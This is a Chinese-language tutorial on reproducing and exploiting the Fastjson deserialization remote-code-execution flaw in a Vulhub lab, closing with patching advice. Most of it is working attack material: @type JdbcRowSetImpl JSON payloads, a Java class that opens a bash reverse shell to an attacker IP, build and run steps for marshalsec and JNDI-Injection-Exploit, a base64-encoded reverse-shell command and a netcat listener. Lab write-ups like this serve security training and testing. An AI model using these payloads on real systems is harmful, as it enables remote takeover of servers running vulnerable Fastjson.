Fastjson反序列化漏洞利用教程
一、基本概念与原理
1.1 什么是Fastjson反序列化?
Fastjson是一个由阿里巴巴开源的Java库,用于将Java对象转换成其JSON表示形式,也可以将JSON字符串转换成等效的Java对象。这个过程通常称为序列化和反序列化。Fastjson反序列化是指将JSON字符串转换为Java对象的过程。
1.2 漏洞原理
Fastjson在反序列化过程中,如果遇到特定格式的JSON数据,会触发执行任意命令,从而导致远程代码执行(RCE)漏洞。该漏洞主要源于Fastjson处理带有@type
字段的JSON字符串时,会根据该字段的值来确定反序列化后的Java对象的类型,并调用这个类的setter方法。攻击者可以通过构造特定的JSON字符串来执行任意代码。
二、环境准备
2.1 启动Vulhub靶场环境
本文不多做介绍,如需要请点击此处查看即可。
三、漏洞复现
3.1 漏洞验证
- 在dnslog里申请一个域名。
- 访问拉取到的环境靶场并用burp suite拦截。
- 修改请求为POST,修改Content-Type为: application/json,添加请求内容:
{"b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "rmi://192.168.15.128:1099/test","autoCommit": true} }
- 验证成功,说明存在漏洞。
四、漏洞利用
4.1 构建恶意类
创建java脚本(脚本中的IP为攻击机IP):
import java.lang.Runtime;
import java.lang.Process;
public class GetShell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.15.128/6666 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
在此文件的路径进入cmd执行如下命令编译为.class文件:
javac GetShell.java
将生成的.class文件放入kali,并在其所在路径执行如下命令,使其可被访问:
python3 -m http.server 80
使用marshalsec,启动RMI服务:
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
cd target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.15.128:80/#GetShell" 3333
重新访问靶场环境地址,burp抓包,修改请求头为POST,修改Content-Type为: application/json,并带入payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.15.128:3333/GetShell","autoCommit":true}
}
点击发送,httpserver收到请求,RMI服务器收到请求,复现成功。
4.2 反弹shell操作步骤
正常情况下以上payload也可反弹shell,查了多个资料应该是jdk版本较高导致编译后无法反弹shell,更换环境比较头疼,下面是反弹shell操作步骤:
首先需要下载JNDI注入工具:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
编译成功界面:
[INFO] --- maven-compiler-plugin:3.8.0:compile (default-compile) @ jndi-injection-exploit ---
[INFO] Changes detected - recompiling the module!
[INFO] Compiling 2 source files to /home/kali/桌面/JNDI-Injection-Exploit/target/classes
[INFO] ---------------------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ---------------------------------------------------------------------------------------
[INFO] Total time: 17.337s
[INFO] Finished at: 2024-05-09T14:49:28+08:00
[INFO] ----------------------------------------------------------------------------------------
构造反弹shell命令并进行base64编码:
echo "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" | base64
进入JNDI-Injection-Exploit/target,执行如下命令启动JDNI,生成payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.15.128"
执行如下命令监听:
nc -lvvp 4444
burp抓取漏洞环境的数据包修改请求头为POST,Content-Type: application/json,添加payload点击发送:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.15.128:1099/calc","autoCommit":true}
}
五、总结与修复建议
5.1 总结
Fastjson反序列化漏洞是一种高危安全漏洞,攻击者通过构造恶意的JSON字符串可以执行任意命令。此漏洞影响广泛,需要引起高度重视。通过本文的学习和实践,读者可以掌握Fastjson反序列化漏洞的基本原理、复现方法和利用技巧。
5.2 修复建议
为了避免Fastjson反序列化漏洞带来的安全隐患,建议采取以下措施:
- 及时更新Fastjson版本:确保使用最新版本的Fastjson库,以获取最新的漏洞修复和安全补丁。
- 禁用AutoType功能:在Fastjson配置中禁用AutoType功能,避免反序列化过程中自动识别和实例化对象。
- 输入校验和过滤:对用户输入的数据进行严格的校验和过滤,防止恶意数据的注入。
- 使用安全的反序列化方式:采用更加安全的反序列化方式,如使用白名单机制限制可反序列化的类。